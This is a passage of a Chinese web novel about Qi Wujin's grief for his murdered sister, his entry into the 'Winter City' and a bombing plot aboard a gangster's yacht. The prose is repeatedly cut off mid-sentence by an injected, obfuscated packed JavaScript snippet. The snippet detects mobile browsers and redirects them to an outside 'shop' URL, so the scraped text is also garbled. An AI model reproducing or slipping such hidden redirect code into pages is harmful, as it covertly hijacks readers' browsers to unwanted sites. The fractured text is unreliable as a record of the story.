药效很快发作,他的力气渐渐弱了下来,死死抱着妹妹的手臂也终于一点点松开。直到他彻底陷入昏睡,他们才小心翼翼地从他怀里抱走了齐无恙的尸体。 第二天,齐无尽在陌生的房间里醒来。 睁开眼时,先是一瞬间的空白和呆滞,随即,像潮水般冲破堤坝,回忆思绪全部涌出,狠狠撞进他刚苏醒的脑海! 轰然巨响。 他猛地坐起身,又因为眩晕和脱离重重跌回去。大脑一片空白,随即又被无边的黑暗和剧痛吞噬,浑浑噩噩。 九爷一直守在窗边,见他醒来,想说什么,最终只是长长地叹了口气。他走过来,轻轻拍了拍齐无尽汗湿的额头。 齐无尽微微转动眼珠,看向九爷,说出了醒来后的第一句话,沙哑得几乎听不清: “九爷,我没家人了。” 一向爽朗,玩世不恭的九爷,听到这话,眼眶瞬间就红了。他又用力拍了拍齐无尽的肩膀,声音也有些发哽:“阿尽……你妹妹在医院的太平间。明天下葬,去……看看她吧,最后……送送她。” 齐无尽没有任何反应,他跟着九爷来到了医院冰冷,安静的太平间。 齐无恙就躺在一张铁板床上,身上盖着白布,只露出一张毫无血色的脸。上面的血迹已经被擦干净,眼睛也合上了,长长的睫毛在苍白的皮肤上投下淡淡的阴影。红发也被梳理过,垂在耳侧。 齐无尽踉跄着走到推床边,双膝一软,噗通一声跪倒在地。他伸出手颤抖地想去握一握妹妹的手,却又猛地缩了回来。 最终,他只是将额头抵在铁板床沿,闭上眼睛,滚烫的泪水顺着脸颊滑落,断线的柱子般滴在地上。 齐无恙的葬礼办得很隐蔽,选在和莫楠一起的墓园,时间在清晨。参加的人只有九爷、阿五和永乐宫几个绝对信得过的人。连齐无尽自己都只能戴着帽子和口罩,站在远处,看着那小小的棺木被缓缓放入挖好的土坑里。 他看到有几个穿着黑色西装的男人在墓园外围徘徊,显然是在寻找什么。没看到想找的人影,他们低声交谈了几句,又很快离开了。 后来,等齐无尽精神稍微清醒一点,能听明白别人的话的时候,阿五将事情的经过告诉了他。 那天晚上,阿五受到九爷的命令,立刻派人赶去银海峰景,想尽快将齐无恙转移到安全屋。但当他们赶到时,齐无恙一看到平时熟悉的哥哥姐姐个个面带惊恐,立刻就意识到出事了。 哥哥虽然对外界性子冷,但从不与人结死仇。能让他这些同事露出如此表情,甚至需要紧急转移自己的……还能有谁? 只能是张景。 齐无恙现在长大了,也渐渐明白了当年在铂金皇宫顶层,张景那些话的意思,知道了那里到底是什么地方,也知道了哥哥为了保护自己,遭遇了什么事。张景这次来,就是想把哥哥和她重新拖回那个地狱。 她没有犹豫,转身就朝着永乐宫的方向拔腿狂奔!速度快得像一道闪电,几个成年人竟一时没反应过来,被她甩在了后面。等阿五他们心急如焚地追到永乐宫附近,找到那条后巷的时候,看到的就是齐无尽抱着妹妹的尸体,麻木地快要被带上车的画面。 葬礼结束后,九爷问齐无尽,还去里斯本吗。 齐无尽苦笑一声,说,不去了。 他抬起头,看向远处澳门那些闪烁着贪婪光泽的高楼大厦,眼神空洞,又仿佛燃烧着冰冷的火焰。 就留在澳门吧,什么里斯本的,都算了。 他现在什么都不要了,什么都没有了,他曾经拼命想守护的,想为之奋斗的,都化为了乌有。清白,尊严,命什么的,他也都没有了,也无所谓了。 他要为无恙报仇,为楠姐报仇,也为自己报仇。 他要杀了张景。 恨支撑着他活下去,他用自己的下辈子去换一个血债血偿的结局。至于报完仇之后他自己会怎么样,他没想过,也不在乎。 但现实远比小说残酷。 好人没好报,老天爷不长眼。他不是故事里那些天赋异禀,总能绝处逢生的主角。无论他怎么努力,怎么拼命,他面对的,是盘踞澳门数十年,黑白通吃,根深蒂固的张景。是那个站在金字塔顶端,轻轻一挥手就能碾碎他所有希望的男人。 所有的复仇计划就宛如一场梦,永远没有美梦成真的那一天。 齐无尽终于明白,凭他一个人,这辈子都不可能扳倒张景。 于是,在他二十一岁那年,他想到了用命去换张景死。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姑娘双手插兜,微微侧过身,正面迎着他的枪口。 “你怎么把枪带上船的?”她微微歪头,语气里带着“你真行”的意味,“不过这东西可打不死我。” 齐无尽盯着她看了两秒,将枪重新插回腰后,然后摸向另一侧绑着的匕首——当然这也是他另一件用于暗杀张景的武器。 “喂喂喂!等一下!”那姑娘,或者说初一,抬起双手挡在自己面前,“虽然这东西也杀不死我,但捅在身上还是蛮痛的。我说齐无尽,你非要杀我吗?我和你可是无冤无仇。” 齐无尽后退一步,盯着她:“你是谁?” “你可以叫我初一。”她浅浅地笑了笑,“放心,我不是张景的人,他那傻逼,往那一站就是全家福了,我要是他的人,那我就掉价了。你完全可以放下心,跟我正常说几句话。” 齐无尽放在刀柄上的手没动,冷冰冰道:“你来找我,是为了什么?” 初一重新转回身,靠在栏杆上,微微仰起头望向里斯本瑰丽变化的天空。冬日的风拂动额前的碎发。过了片刻,她收回目光,正过脸看向齐无尽。 “我跟你讲个故事吧。” 320.昨日港 “在人类世界的另一面,存在着一片广阔而奇异的土地,叫作‘永冬之城’。” “从它被建造出来的那一天起,就永远都是冬天。这是一座任凭四季流转,无论何时,你都可以望见每一条街道都铺着终年不化的白雪的城市,很洁净也很遥远,但它有时候有些苍白了。建造他的人,把现实世界里的很多东西也放了进去——高楼大厦,街边小店,医院,公园,甚至图书馆。” 初一的声音淡淡的,听得令人很舒服。不知怎地,齐无尽继续听了下去。 “生活在那里的人类,被称作‘玩家’。他们需要参加各种各样,光怪陆离的副本游戏。每天都有玩家死在副本里。死在那里的玩家,现实世界中应该也会以某种方式逝去。至于为什么说‘应该’,因为我也不知道。” “副本分为两类。一类,是带着玩家体验各种离奇生活的普通型。另一类,则与通关玩家在现实中的过去息息相关。玩家在现实中经历过什么,遭遇过什么,副本就可能是什么样子。这是特殊型。” “特殊型副本,蕴含着能改变一切的可能性。”初一看向很远的地方:“有的玩家会幸运地遇到,有的,可能一辈子也遇不上。” “举个例子吧:假设一个玩家,在特殊型副本里机缘巧合救下了一只本该死去的小动物。那么,当他离开副本,回到现实,他会发现,那只小动物真的活了过来。” 她停顿了一下,朝齐无尽意味深长地弯了弯眼睛: “同样,如果一个玩家在特殊型副本里,救下了一个人。” “你猜猜看,现实中这个人……会不会也跟着活过来呢?” 齐无尽的神色猛地一振! 他原本警惕的眼神出现了动摇,心脏像是被一只手狠狠攥住又松开,带来一阵眩晕的悸动。他仓惶地垂下眼,用浓密的睫毛遮住了眼底翻涌的惊涛骇浪,嘲讽道:“……哪有这么扯的事。” 初一看着他,无声地笑了一下,知道他信了。 “假如你真的进入了永冬之城,”她重新趴在栏杆上,单手托着下颌,歪头看着齐无尽,“并且活到了能进入特殊型副本的时候,那么在副本里,你或许可以尝试去做任何事。” “比如……救下你妹妹。这样,她就不会死。” 齐无尽垂在身侧的手不受控制地蜷缩了一下手指,理智告诉他,眼前这个人要么是从精神病院跑出来的,要么是别有用心的骗子。永冬之城?副本?死而复生?这太荒谬了。 可是……万一是真的呢? 万一呢? 这个万一一出现,就像野火燎原,烧毁了他所有的理智和怀疑。 “……你是在开玩笑吗?”他涩声问。 初一耸了耸肩:“这不重要,无论我是不是在开玩笑,如果,我是说如果,真的有这样一座城市,有这样的机会摆在你面前,你是否愿意进入,无论前路多么艰辛。” “愿意。”齐无尽脱口而出。 “不后悔?” “不。” “那就好。”初一重新看向远方渐渐沉入地平线的最后一丝霞光,“下周一,当你睁开眼,你将会进入我所说的城市,不要轻易让任何玩家知道你是怎么进来的,不要让他们知道我的存在。” “但是在这之前,你需要帮忙做一件事。” 齐无尽忙追问:“什么?” “由于我们亲爱的妄主大人在上一次轮回中精神力透支太多,暂时无法再将现实世界里的人直接拉进永冬之城。而我们又非常需要这一位女侠的加入,来让这个故事的主角成功完成使命,或者说,在回到现实后能尽量的……活下去。”初一叽里呱啦说了一大堆,“所以,需要你赏脸帮个小忙。” “去一趟中国江苏,随便找个城市,随便找个地方,留下一样带有你个人气息的东西——比如你的扑克牌。这样就能让系统自动拉她进入。三年后,那位女侠就能顺理成章地进入永冬之城。” “我明白了。”齐无尽应下,虽然听不太懂初一在说什么。 答应以后,他愣了几秒,上前一步:“你……你在那里吗?在永冬之城?” 初一又仰起头,望着天空想了想,像是在组织语言:“我在那里……也不在那里。你能见到一个和我长得一模一样的人,但那不是我。” 她似乎不想在这个问题上多谈,话锋一转:“看在你这么信任我的份上,再拜托你一件私事吧。” 接着,她伸出手,齐无尽就看见她掌心凭空出现了一台黑色录像机,看起来很有年头了。 “这台录像机里面的内容对我来说很重要。”初一将录像机递给他,“你需要留着它,保管好。然后在未来,把它交给一个人。” “谁?” “她或许和我长得一样。”初一慢条斯理道,“当她脖颈侧面出现一道伤疤,且伤疤越来越深时,永冬之城将发生翻天覆地的变化。到了那个时候,你便可以把这台录像机,交给她。” 齐无尽接过那台录像机,入手沉甸甸的。他握紧,问:“为什么她不会在出现伤疤之前,主动找我要走它?” “这倒是个好问题。”初一扬了扬眉毛,“那么,规则就需要调整一下。当她来找你要录像机时,你可以问她两个问题。只要她能答对其中任何一个,相机就归她。” “什么问题?” 初一竖起一根手指:“圆周率的完整数字是什么?” 接着,她又竖起第二根手指:“创造一台真正意义上,可以穿越时间的时光机,具体步骤是什么?” 也不怪当时在办事区,初与序听到这两个问题时会骂齐无尽有病。他自己第一次听到时,也觉得眼前的姑娘在瞎扯。 “那就这样?”初一忽然勾起唇角,朝他轻轻挥了挥手,“有缘再见。” “等等——” 齐无尽还想再开口问些什么,比如“妄主”是谁,“轮回”是什么意思,那位“女侠”、“故事的主角”又是谁…… 眨眼间,面前空空如也。 初一已经消失得无影无踪。 刚才吹起初一刘海的冬日寒风,此刻拂过他额前的红发,带来阵阵寒意。他张了张嘴,那句“谢谢”也没有说出口。 后来,齐无尽真的进入了永冬之城。 那里一切都如初一所言,他隐瞒了自己是主动进入的真相。为了活下去,等到那个可能的“特殊型副本”,他主动投靠了系统,成为了执行官,将自己的死亡风险降到最低。 三年后,在落雪的那天,他第一次看到了新人玩家中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237699|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初与序。 总觉得……这个人,在哪里见过。 很像记忆中,里斯本黄昏的邮轮上,那个转瞬即逝的……故人。 他站在一颗雪松树下,脚步不由自主地顿住,心脏像是被什么东西轻轻撞了一下,看着月台上那群站在新人玩家之间的初与序,但最终没有上前。 远处传来第一声晨鸟细弱的啼叫,灰蓝色的天边裂开一道浅金色的缝隙。齐无尽缓缓抬起手,用食指指尖轻轻碰了碰墓碑瓷像上莫楠那双明亮的眼睛。 “天亮了。” 他转头,看向身边初与序。 初与序扬起眉毛,想了想,试探着开口:“那……早上好?” 齐无尽叹道:“……早上好。” 那个昨晚被齐无尽塞进契约的追踪器传回了信号,37号箱已经被移到了张景的私人游艇——“告别号”上面。 根据他们搜集到的情报,今晚,那艘豪华游艇上会举办一场私密的宴会兼小型拍卖会,澳门几位有头有脸的老板都会受邀登船,契约被带过去,目的不言而喻。 张景想利用这份契约,再上演一场“价高者得”的戏码,让那些老板争夺对齐无尽和齐无恙的人身控制权,他好坐收渔利,最后再做局,将契约连同所有好处重新收回囊中。 在这个副本设定的时间线里,距离现实世界中齐无恙中枪死亡的那一天,还有三天。而副本时间只剩下今天这一天。 齐无尽等了三年,在永冬之城经历了无数生死,终于等到了这一天。 这一次,他要把齐无恙救活,无论如何。 两人趁着天还没大亮,回到了银海峰景楼下。 晨雾未散,空气清冷。初与序双手插在大衣口袋里,侧过头看向身边的齐无尽。 “白天,你就待在家里,好好陪陪无恙吧。”她平静地开口。 齐无尽其实有些好奇,为什么初与序和初一的性格相差这么多。但他还是没问,和她对视:“那你呢?不上去吃个早饭?” “我?”初与序移开视线,望向远处逐渐苏醒的澳门,“不去了,我不吃早饭。我去把该搜集的证据链核实一遍,整理好,到时候匿名发给该收的人。然后……在澳门随便转转?” 她顿了顿,补充道:“有些信息,你出现不合适。” 她说的是事实,张景的眼线还在暗处搜寻他,他白天大规模活动风险太高。而初与序刚来澳门没几天,面孔生,行事方便。 他张了张嘴,想说“小心”,或者“谢谢”。但初与序已经随意地挥了挥手,淡淡道:“上去吧,晚上见。” 说完,她转身沿着人行道朝另一个方向走去,很快消失在清晨稀薄的人流里。 齐无尽在原地站几秒,看着她的背影消失,然后转身上楼。 现在才早上六点多,公寓很安静,齐无恙的卧室门关着,还没起床。齐无尽换了拖鞋,轻手轻脚地走到厨房,阻止了原本打算来做饭的阿姨,让她今天放假。 他打开冰箱,里面食材很全,不用再下楼买。随后在水池边洗干净手,取出一张馄饨皮,将肉馅放在中央,手指翻飞几下,一个鼓鼓嬢嬢的小馄饨就出现了。 水在锅里慢慢烧开,发出咕噜声。蒸汽氤氲上来,模糊了厨房的玻璃窗。 321.昨日港 上次给齐无恙做饭还是小时候,在云南那个贫瘠却也有过短暂安宁的小山村里。土灶,柴火,锅里煮着米粥,他给齐无恙蒸了一个鸡蛋羹,吹凉后喂进她嘴里。那时候父母还在。 后来来到澳门,先是朝不保夕,后来去了永乐宫忙得脚不沾地,根本没时间亲自动手做饭。 齐无尽将包好的馄饨轻轻滑入沸腾的水中,看着它们在清澈的水里沉沉浮浮。另取一个小蒸锅,放入速冻的烧麦,开火蒸上。 当齐无恙揉着眼睛,迷迷糊糊地从卧室里走出来时,看到的就是这样一幅画—— 哥哥穿着白衬衫,将袖子卷起露出手臂,站在晨光笼罩的厨房里,正将煮好的馄饨捞进两个白瓷碗里。旁边的蒸锅冒着袅袅白气。餐桌上已经摆好了两副碗筷,一小碟紫菜和虾皮,还有一小罐香油。 清晨的阳光落在他的头发和长长的睫毛上,镀上一层温暖的金边。 “哥哥?!”她惊喜地喊。 齐无尽回过头,齐无恙正穿着毛茸茸的兔子睡衣,头发睡得翘起几根,正揉着眼睛,难以置信地看着他。 “这是你做的吗?!”她眼睛一下子亮了,噌噌噌跑过来,趴在厨台边缘。 齐无尽点了点头:“快去洗脸刷牙,早饭要趁热吃。” “嗯!”齐无恙像旋风一样冲进洗手间,里面传来哗啦啦的水声。不到五分钟,她就刷好牙洗完脸,随便将红发扎成小揪揪,规规矩矩地坐回了餐桌前。 齐无尽把筷子递给她,自己也在对面坐下。 齐无恙先小心翼翼地吹了吹馄饨,然后咬下去,鲜美的汤汁立刻在口腔里弥漫开。她含糊不清地说:“……好次!哥哥做得比阿姨做得还好吃!” 她又夹起一个烧麦,小口小口咬着,腮帮子鼓鼓的。 “哥哥,”她咽下嘴里的食物,看着齐无尽,“你今天白天不忙了吗?之前你不是说,这几天还要去永乐宫,跟接你班的哥哥姐姐们交接工作吗?” 齐无尽把吹凉的馄饨放进嘴里,慢慢咽下,才说:“交接工作……我改到晚上了。今天白天哥哥都可以待在家里,陪你。” “真的呀?”齐无恙眼睛弯了起来,“那上午我们一起拼那个一千块的大海拼图好不好?我都快拼完了,最后一块老是对不上!哥哥你眼神好,帮我看看!” “好。” “然后中午……我想吃哥哥做的番茄炒蛋!要酸酸甜甜的那种!” “行。” “下午……我们看动画片!我把《海绵宝宝》新存的几集都看完!” “都依你。” 齐无恙很快又想到什么:“那初姐姐呢?她怎么不在?” “初姐姐有事要办,出去了。”齐无尽道,“晚上她会过来一趟,跟哥哥出门,你能见到她一会。” “哦……”齐无恙点了点头,又问,“那等哥哥忙完这边的事,初姐姐会跟我一起去里斯本吗?我觉得初姐姐她人好好,虽然话不多,她就像楠姐姐一样。” 齐无尽顿了一下,想了想:“到时候……哥哥问问她吧,好不好?” “好!”齐无恙点了点头,忽然有点担心,“晚上……晚上哥哥会不会很晚回来?危险吗?” 齐无尽拿着筷子的手抖了一下,也就那么一下。他浅浅地笑道:“不会很晚,就是去签个字,把最后一点东西交给别人,不危险。哥哥会早点回来的。” “快吃吧。”他转移话题,“凉了就不好吃了。” 初与序将一整天的时间都留给了齐无尽和齐无恙,午后,等齐无恙睡下时,齐无尽曾给初与序发过几条信息,询问她那边是否安全。过了好一会儿,初与序才回过来两个字:「安全」,再无下文。 齐无尽甚至有些怀疑她是不是给自己设置了免打扰。以她那性格,这种事还真做得出来。 直到窗外的日光由炽白转为金黄,开始缓缓西沉,时钟显示下午五点半左右时,家门被敲响。 齐无尽起身开门,初与序就站在门外走廊灯光下,身上还是白天的大衣,长发披散,完好无损。她手里拿着一个黑色u盘,朝着齐无尽随意晃了晃。 齐无尽开口想说什么,身后就传来欢快的脚步:“初姐姐!” 齐无恙蹦跳着跑过来,一下子抱住初与序的腰:“我想死你了!你怎么才来呀!” 初与序刚刚面对齐无尽的淡漠一瞬间变得柔和,她蹲下身放轻声音:“姐姐也想你,无恙今天在家里都干了什么呀?” “我跟你讲哦。”齐无恙来了精神,掰着手指一样样细数,“上午我跟哥哥一起拼了那个好大的大海拼图!中午哥哥做了番茄炒蛋,我吃了两碗饭呢!下午看了《海绵宝宝》,哥哥还陪我玩了飞行棋,我赢了他三盘……” 她絮絮叨叨地说着,眼睛亮晶晶的。全程齐无尽的目光都落在妹妹身上,眼底的情绪复杂,但齐无恙并没有察觉到。 直到她把一整天干的事汇报完毕,停了下来,齐无尽这时才蹲下身,双手轻轻搭在妹妹肩膀上,觉得喉咙发苦。 “无恙。”他温和道,“今天开不开心?” “当然开心啦!”齐无恙毫不犹豫地回答。 “那以后的每一天,都要像今天这样开心,好不好?”齐无尽一字一句地说。 齐无恙用力点头:“好!” 齐无尽弯起眉眼笑了,那笑容很淡,带着温柔,以及淡淡的忧伤。 “哥哥和初姐姐晚上要去的地方很远,可能会很晚很晚才回来,你不用等哥哥,到时间了就乖乖睡觉,知道吗?” “嗯!”齐无恙应着。 “要记得每天按时吃早饭,下雨天出门,别忘了带伞,阳台晒了衣服要记得收回来。”齐无尽一件件叮嘱,“昨夜如果遇到不会的,就求问老师。要是学校里有人欺负你,别忍着,该还手就还手,有什么事,哥哥……都会在。” 他的眼神里带着眷恋,伸出手将妹妹耳边几缕红发别到耳后:“过马路,一定要看红绿灯,确认没车了再走。晚上九点之前必须回家,不能在外面玩得太晚。还有以后长大了,如果生理期,不能吃冰的东西,对身体不好。” “有想学的,跳舞也好,画画也好,弹琴也好,就去报兴趣班,不要给自己留遗憾。总之快快乐乐的,比什么都强。” 齐无恙听得非常认真,一眨不眨地看着哥哥,不时点点头,把他的话都记在心里。 齐无尽深深吸了口气,语气郑重起来:“无恙,在哥哥出发前,答应哥哥四件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人一前一后,走向电梯。齐无尽在踏入电梯前顿了一下,最后回过头,看了站在家门口的妹妹一眼。齐无恙正用力朝他笑着挥手:“哥哥再见!” “……拜拜,无恙。” 齐无尽转过身,电梯门缓缓合拢。 电梯里只有他们两个人,开始下行。初与序扫了一眼身边的齐无尽一眼,平淡道:“又不是见不到了,跟交代遗言似的。” “不就是遗言吗。”齐无尽没看她,垂着眼,“我就当……你在安慰我吧。” 初与序笑了一下,没说话。 齐无尽侧过头看她:“我后来给你发的那几条消息看了吗?告别号的详细结构分布图,关键区域的标注。” 初与序面无表情地跟他对视了几秒,然后有些心虚地移开视线。 齐无尽凉凉道:“你真给我开免打扰了?” 初与序一本正经道:“那个……我一般下副本的时候,习惯给手机里所有联系人开免打扰。” 齐无尽扶额叹了口气,这人能活到现在,没在哪个副本里因为不看队友消息被坑死,也算天赋异禀。 “算了,你不看也影响不了你什么。”他从面板里取出一个巴掌大小的遥控器,递给初与序,“炸弹遥控器,分布图我之前发你……算了你没看。总之,红色按钮是总开关,绿色的可以测试信号。” 初与序接过来,在手里掂了掂,随手按了几个侧面的隐蔽按钮,确认无误后收进面板。 两人像前几天一样做好了伪装,齐无尽用帽子将红发扯住,初与序则拉高了大衣的衣领,挡住脖颈侧面的疤。 322.昨日港 夜色中的码头灯火通明,告别号停泊在专属泊位。 初与序第一眼看到这艘船时,觉得张景在烧钱和显摆这两件事上,非常有天赋。 船体庞大,线条流畅,通体是深蓝色哑光涂层。目测至少有七八层甲板高,最顶层是一个巨大的透明玻璃穹顶,隐约能看见其中一个温室里面是茂密的绿植。船身侧面用花体字喷涂着英文单字:“FAREWELL”(告别),旁边还装饰着线条缠绕的鸢尾花纹。 码头上,穿着制服的侍者列队迎宾,登船的大概七八十人,个个衣着考究,手腕上的手表至少六位数起步。但气氛都有些诡异——几乎所有人都遮着脸,要么戴着面具,要么戴着礼帽,这下连没有戴帽子,仅仅只是拉高衣领的初与序都有点格格不入。 看得出来他们都是为了那个“37号箱”而来。 初与序和齐无尽对视一眼,两人分开走不同入口,各自拿着初与序白天伪造的邀请函混入了登船的人流。 登上舷梯,踏入主甲板大厅的那一刻,扑面而来的是嘈杂的人声,悠扬的弦乐,还有各种名贵香水,雪茄,酒水混合的香味。 水晶吊灯璀璨夺目,衣着光鲜的人们三两成群,低声交谈。侍者托着银盘穿梭,盘子里摆着各种烈酒。 初与序在人群里站了一会儿,快速记下监控探头的位置和保镖分布。 拍卖会在顶层的玻璃穹顶大厅举行,时间是半小时后。 初与序转身走向通往下一层甲班的内部楼梯。越往下走人声越少,光线也变得昏暗。这里是邮轮的功能区域,安静很多。通道狭窄,管道纵横。 初与序手腕一翻,手里已经多了一枚微型□□。她侧向舱壁,手指在燃料输送管道轻轻一按,炸药吸附在了金属表面。 她又走向拐角处的通风管道主干,这里是监控死角,但有个穿着清洁工制服的男人,正背对着她慢吞吞地擦拭旁边的扶手。 初与序脚步不停,从清洁工身后半米处走过。垂在身侧的手指轻轻在通风管道下方一抹,将第二枚炸药贴了上去。 清洁工似乎有所察觉,停下动作疑惑地转身,但初与序已经走过了拐角,身影消失,只留下空气中一丝淡淡的清苦又冷冽的气息。 告别号顶层,玻璃穹顶大厅侧面的控制室。 整面墙都是监控屏幕,分割成数十个小画面,播放着邮轮各处的影像。在屏幕前方,张景坐在单人沙发上,穿着米白色麻质西装,没打领带,头发随意向后梳,看起来温和儒雅。 控制室的门被打开,花衬衫男人——现在换了一身深蓝色西装——快步走进来,俯身在张景耳边: “张先生,他们上来了,两个都来了。监控看得清清楚楚,那女的在下层甲板贴东西,遥控器在她手上,齐无尽在另一侧。看手法和位置,是炸药,分量不小,想把咱们连船一起送上天呢。” 其中一块屏幕上,正是下层甲班的通道画面。一个戴着黑色帽子,身形笔挺修长的那男人站在那里,正将一个黑色的小东西按在管道下方。即使他遮得严严实实,张景也能从他精瘦的腰线和长腿认出是谁。 几秒后,相邻的画面,一个长发姑娘出现。她微微低头,将同样的物体贴在甲班外侧。弯下腰时露出一截白皙的脖颈,弧度优雅,侧面还有一道疤痕。 张景没有惊慌,反而露出微笑。 “没事,游戏嘛,总要有点惊喜才好玩。”他愉悦道。 “阿尽那孩子,心里憋着火呢。莫楠死了,昨晚又跟他闹了一通,还伤了她的朋友,总想着咬我一口,我知道。”张景抬起食指,点了点沙发扶手,“现在有了机会,又有了帮手,他当然要试一试。” 花衬衫皱了皱眉:“那张先生,要不要现在就把他们……” “急什么。”张景打断他,随笔摆了摆手,“让他们装,等他们装得差不多了,再去请他们上来聊聊。对了,记得对那位小姐客气点,她也是能请阿尽乖乖回家的人。” “是,老板!”花衬衫和其他几个手下立刻兴奋地应声。 晚上七点整。 随着一声低沉悦耳的钟鸣,顶层玻璃穹顶的大厅灯光缓缓调暗,只留下拍卖台周围被光束照亮。宾客们停止交谈,全看向那片光亮之处。他们各自在环绕拍卖台的柔软沙发上落座,大厅里弥漫着病态的兴奋。 拍卖师是个五十岁上下的男人,穿着黑色燕尾服,戴着白手套。他站到拍卖台后,脸上带着职业微笑: “先生们女士们,晚上好,欢迎莅临‘告别号’,参加本次私人鉴赏暨转让会。相信诸位已经对今晚的部分拍品有所了解。我们秉承绝对私密、价高者得的原则,希望各位能尽兴而归。” “现在,让我们请出一号拍品——” 第一件拍品是一幅十九世纪的欧洲风景油画,起拍价就不菲。聚光灯下,画布上的笔触和色彩被渲染得鲜活。宾客们开始举牌,价格平稳攀升。成交时响起掌声,但所有人的心思显然都不在这里。 张景坐在后方,姿态闲适。他扫过在场的每一位客人,注意到齐无尽和那个姑娘没有出现。 拍卖还在继续,一件来自东方的青花瓷瓶,一组稀有的彩色钻石,一把据说是某位历史名人佩戴过的古董手/枪……拍品价格越来越高,竞价也愈发激烈。 终于,当一件文艺复兴时期的青铜雕塑以令人咋舌的价格落槌后,拍卖师顿了顿,脸上笑容没有变,但声音里带着激动: “接下来,是今晚众多来宾期待已久的一件特殊拍品。” 一名侍者双手稳稳托着一个金属箱,走上拍卖台,小心翼翼地放在展示架上。箱子不大,表面有一个指纹识别区,旁边贴着标签:【M-37】。 大厅里瞬间安静下来,落针可闻。所有的目光都聚焦在金属箱上,贪婪,好奇,算计。 拍卖师戴上另一副更贴手的白手套,轻轻拂过箱体表面:“诸位,27号箱。内部一份具有完全法律效力,在某些特定圈层内的契约。契约内容涉及两项特殊资产的归属以及后续安排。资产编号分别为:200406和201102。” 角落里,张景听到他的话,露出满意的笑容。 “起拍价,”拍卖师报出,“两千五百万港币。每次加价,不少于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237701|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五十万。现在,可以出——” “请稍等。” 一个温和从容的声音响起。 众人循声望去,张景站起身,从沙发区走到了光束边缘。 拍卖师一愣,微微躬身:“张先生?” 张景对他点了点头,然后转向全场宾客,就着旁边侍者递上的麦克风,开口道:“抱歉,打扰各位的雅兴了。” “关于这件37号拍品在正式开拍前,我想,或许可以为今晚增添一点额外的趣味。” 他顿了顿,笑容加深:“我为大家准备了一个小小的惊喜,可能需要暂时中断拍卖几分钟,让我和我的助手们去准备一下。” 大厅里响起几声了然的轻笑,对于这些见惯了各种花样的富豪们来说,这种突如其来的“惊喜”勾起了他们的好奇心——尤其是在这件关键拍品之前。 “当然,张先生请便。” “期待您的惊喜。” “我们不介意多等一会儿。” 张景满意地看着台下的反应,微微颔首;“那么,请诸位稍等片刻。我去去就回。” 说完他转身走下台阶,花衬衫男人和另外几位保镖立刻跟上。 甲板上,初与序站在栏杆边缘,将最后一枚微型炸药贴在船体外侧,收回手站直身体。接着从面板里取出遥控器,上面对应的几个小型指示灯已经亮起,说明齐无尽那边也贴好了。 夜风将她耳边几缕散落的发丝吹乱,她抬起握着遥控器的那只手,似乎是想借着这个动作将发丝拢到耳后—— 一只手突然从后方伸出,扣住了她握着遥控器的手腕! 五根手指死死捏住她手腕正中央,初与序只觉得整只右手连同小臂一阵酸麻,五指不受控制地松开,遥控器啪嗒一声落在甲板上! 紧接着,一条腿伸出,狠狠将遥控器踹向栏杆方向。遥控器越过船舷,坠入下方的海水中,很快被海水吞没。 初与序惊愕回头,身后不知何时站着三四个魁梧的保镖,比她至少高出两个头。扣住她手腕的保镖仍然死死捏着她,仿佛怕她下一秒就化成一缕青烟溜走。 事实上,即使他不这么死命扣着,初与序也清楚自己逃不了——除非她是猹,将身一扭就能逃走。 空气像是凝固了,几个人大眼瞪小眼,谁也没先动。 几秒后,突然初与序整个人往后一踉跄,是被保镖拽住后衣领轻轻松松提起来,朝着甲班另一侧拖去。 这种粗暴的动作让人无法呼吸,也发不出声音,初与序手腕依旧被死死抓着,另一只手拔刀朝着那只抓着自己后衣领的手捅去。但因为角度问题,仅仅在那人手背上划开一道血口。另一人一掌劈在她持刀的手腕内侧,短刀脱手飞出,落在甲班上老远。 她被拖拽到甲班另一侧,这里没有栏杆,只有光秃秃的边缘。再往外就是海面。 保镖拽着她后衣领的手再次发力,将她整个人朝着海绵的方向狠狠一甩! 初与序的身体重心瞬间后移,朝着船外仰倒下去。但紧接着那只松开的手在最后一刻猛地收紧,抓着她的前衣领,将她拽停在半空。 323.昨日港 现在的局面是:初与序右脚鞋尖面前抵在甲班最边缘,左脚已经完全悬空,整个人全靠着拽着自己前衣领的手支撑着。只要那只手一松,她就会立刻坠入底下翻涌的海水。 恰在此时,海面上涌起一片稍大的浪花,哗地打在船舷上,打湿了她的大衣下摆。 初与序被这不上不下的诡异处境弄得有些找不着头脑,她抬头看向那个保镖,莫名其妙道:“要扔就扔……吊在这儿,是什么意思。” 回答她的是甲班上的门被咔哒一声推开,张景背着手步履从容地走了出来,脸上还带着温和的微笑。在他身后又跟出四五个保镖,但目标看上去并不是初与序自己。 “头儿,遥控器已经踢飞了。”有保镖看向张景。 